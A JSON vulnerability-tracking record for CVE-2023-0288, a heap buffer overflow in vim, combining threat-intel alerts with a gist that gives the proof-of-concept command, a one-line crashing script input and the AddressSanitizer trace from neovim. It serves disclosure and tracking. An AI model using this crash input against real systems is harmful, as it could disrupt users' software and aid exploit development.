{"vulnerability": "CVE-2023-0288", "sightings": [{"uuid": "0cdb1519-1292-429d-947f-412f4f119403", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0288", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10730", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0288\n\ud83d\udd25 CVSS Score: 7.3 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1189.\n\ud83d\udccf Published: 2023-01-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-07T15:36:06.577Z\n\ud83d\udd17 References:\n1. https://huntr.dev/bounties/550a0852-9be0-4abe-906c-f803b34e41d3\n2. https://github.com/vim/vim/commit/232bdaaca98c34a99ffadf27bf6ee08be6cc8f6a\n3. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WYC22GGZ6QA66HLNLHCTAJU265TT3O33/\n4. https://support.apple.com/kb/HT213670\n5. http://seclists.org/fulldisclosure/2023/Mar/17", "creation_timestamp": "2025-04-07T15:45:35.000000Z"}, {"uuid": "6651fda7-ef91-4a59-85c1-149a9dc31334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0288", "type": "seen", "source": "https://t.me/cibsecurity/56484", "content": "\u203c CVE-2023-0288 \u203c\n\nHeap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1189.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-13T18:31:09.000000Z"}, {"uuid": "46b906c3-22c7-4d81-8350-06be1889bf0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0288", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/42a0a56024f1569463a3e567bf521b9c", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0288)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: sil0norm8R^M^CV{zf8=Lu\n=================================================================\n==27324==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000039500 at pc 0x0000004dff7f bp 0x7ffd9e836b30 sp 0x7ffd9e8362f8\nREAD of size 2147479553 at 0x621000039500 thread T0\n    #0 0x4dff7e in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-fd3d30a22c2bcc7acd266214b761b44219aefbe7+0x4dff7e)\n    #1 0xc5de68 in ml_append_int /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:1980:7\n    #2 0xc5a5e6 in ml_flush_line /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2687:15\n    #3 0xc5724b in ml_append /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:1866:5\n    #4 0x115b14a in u_undoredo /home/zzw/Desktop/neovim/build/../src/nvim/undo.c:2347:11\n    #5 0x11565b8 in u_doit /home/zzw/Desktop/neovim/build/../src/nvim/undo.c:1876:7\n    #6 0x1156037 in u_undo /home/zzw/Desktop/neovim/build/../src/nvim/undo.c:1773:3\n    #7 0xd39377 in nv_kundo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4458:5\n    #8 0xd324bb in nv_undo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4446:5\n    #9 0xd19449 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1181:3\n    #10 0xd15f8c in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6569:9\n    #11 0x9d39ca in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6475:5\n    #12 0x9d3726 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6458:3\n    #13 0x9dd42d in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6390:7\n    #14 0x9c01cc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1621:7\n    #15 0x9ad73f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2280:7\n    #16 0x9a312d in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:579:20\n    #17 0xf0b7c9 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2057:5\n    #18 0xf089a2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1639:14\n    #19 0xf08700 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1647:3\n    #20 0x9c01cc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1621:7\n    #21 0x9ad73f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2280:7\n    #22 0x9a312d in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:579:20\n    #23 0x9a67e3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:282:10\n    #24 0x51e380 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1860:5\n    #25 0x512418 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:558:5\n    #26 0x7f6035e70082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #27 0x467f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-fd3d30a22c2bcc7acd266214b761b44219aefbe7+0x467f8d)\n\n0x621000039500 is located 0 bytes to the right of 4096-byte region [0x621000038500,0x621000039500)\nallocated by thread T0 here:\n    #0 0x4e06cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-fd3d30a22c2bcc7acd266214b761b44219aefbe7+0x4e06cd)\n    #1 0xc6b942 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:89:15\n    #2 0xc6bb04 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:123:15\n    #3 0xc466f0 in mf_alloc_bhdr /home/zzw/Desktop/neovim/build/../src/nvim/memfile.c:537:17\n    #4 0xc4626f in mf_new /home/zzw/Desktop/neovim/build/../src/nvim/memfile.c:261:10\n    #5 0xc4c759 in ml_new_data /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2705:16\n    #6 0xc4b69a in ml_open /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:340:8\n    #7 0x6c251f in open_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:219:7\n    #8 0x51d3b4 in create_windows /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1669:15\n    #9 0x511fd7 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:516:3\n    #10 0x7f6035e70082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-fd3d30a22c2bcc7acd266214b761b44219aefbe7+0x4dff7e) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c427ffff250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c427ffff260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c427ffff270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c427ffff280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c427ffff290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c427ffff2a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427ffff2b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427ffff2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427ffff2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427ffff2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427ffff2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==27324==ABORTING", "creation_timestamp": "2026-09-19T13:19:39.763596Z"}]}